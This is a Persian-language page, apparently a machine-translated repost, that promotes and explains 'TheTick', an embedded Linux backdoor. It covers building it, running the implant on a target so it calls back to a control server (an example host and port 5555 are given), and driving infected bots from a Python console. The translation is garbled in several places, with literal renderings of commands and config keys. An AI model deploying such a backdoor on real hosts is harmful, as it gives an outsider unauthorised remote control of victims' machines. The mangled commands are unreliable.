🔎 TheTick – Backdoor جاسازی شده ساده لینوکس – جوخه امنیت اطلاعات

یک پشتیبان داخلی داخلی لینوکس.

TheTick فقط به libcurl بستگی دارد ، بنابراین مطمئن شوید که بسته توسعه مناسب را دارید.

به عنوان مثال ، در توزیع های مبتنی بر دبیان ، باید موارد زیر را انجام دهید:

پس از نصب وابستگی ها. فقط makefile را اجرا کنید:

 cd src
تمیز کنید
make 

نصب

به دست آوردن دوام درپشتی بستگی زیادی به بستر هدف دارد و بنابراین در اینجا مستند نیست.

در رایانه هدف ، فایل دودویی را با آرگومان های زیر اجرا کنید:

 ./ Ticksvc ADDR PORT 

"ADDR" و "PORT" باید آدرس IP و پورت را که فرمان ها و کنسول به آن گوش می دهند جایگزین شوند.

پورت پیش فرض 5555 است.

کنسول مدیریت و فرمان نیاز به نصب ندارد ، اما ممکن است وابستگی های حل نشده ای داشته باشد. [19659013] دستورالعمل زیر را اجرا کنید تا تأیید کنید که همه وابستگی ها نصب شده اند صحیح (توجه داشته باشید که سودو برای این مورد نیاز نیست):

 pip install - upgrade -r Requ.txt 

در اکثر محیطهای دسکتاپ لینوکس ، پرونده "Tick.desktop" زیر نمادی را ایجاد می کند که شما برای راه اندازی کنسول می توانید دوبار کلیک کنید:

 [Desktop Entry]
رمزگذاری = UTF-8
ارزش = 1.0
نوع = برنامه
نام = تیک
GenericName = تیک
نظر = پشتیبان تعبیه شده لینوکس
نماد = / opt / thetick / doc / logo.png
اجرای = / opt / thetick / tick.py
ترمینال = درست است
مسیر = / opt / thetick / 

محل دقیق پرونده Tick.desktop ممکن است بین توزیع های لینوکس متفاوت باشد ، اما معمولاً باید روی دسک تاپ شما کار کند.

مطمئن باشید که مسیر را به جایی که بارگیری کرده اید ویرایش می کنید. [19659019] (/ opt / thetick در مثال بالا).

با استفاده از

برای اجرای باینری backdoor روی سکوی هدف ، نام میزبان و پورت سرور مدیریت را به عنوان پارامترهای خط فرمان تعیین کنید.

به عنوان مثال: [19659009] ./ ticksvc control.example-domain.com 5555

روی سرور مدیریت ، می توانید کنسول را در سه نسخه از صفحه نمایش گنو یا مشابه:

 کد: sudo apt-get نصب صفحه نمایش
صفحه نمایش -S thetick ./thetick.pyلاف19459011† توپ19459010]

بنابراین ، می توانید با فشار دادن کنترل + A و سپس D. از کنسول جدا شوید.

می توانید بعداً به کنسول برگردید:

 screen -r thetick 

کنسول به شما می گوید که چه زمانی جدیدی به آن وصل می شود.

از فرمان bots برای نشان دادن ربات های موجود در حال استفاده ، و فرمان استفاده ربات را برای کار انتخاب می کند.

فرمان راهنما یک راهنمای کاربر را نشان می دهد.

در اینجا چند تصویر نشان داده شده از ویژگی های کنسول آورده شده است:

دانلود TheTick

¯ _ (ツ) _ / ¯

توجه: اطلاعات مربوط به تحقیق ، آموزش یا انجام ممیزی. استفاده خودخواهانه براساس قوانین فدراسیون روسیه قابل مجازات است.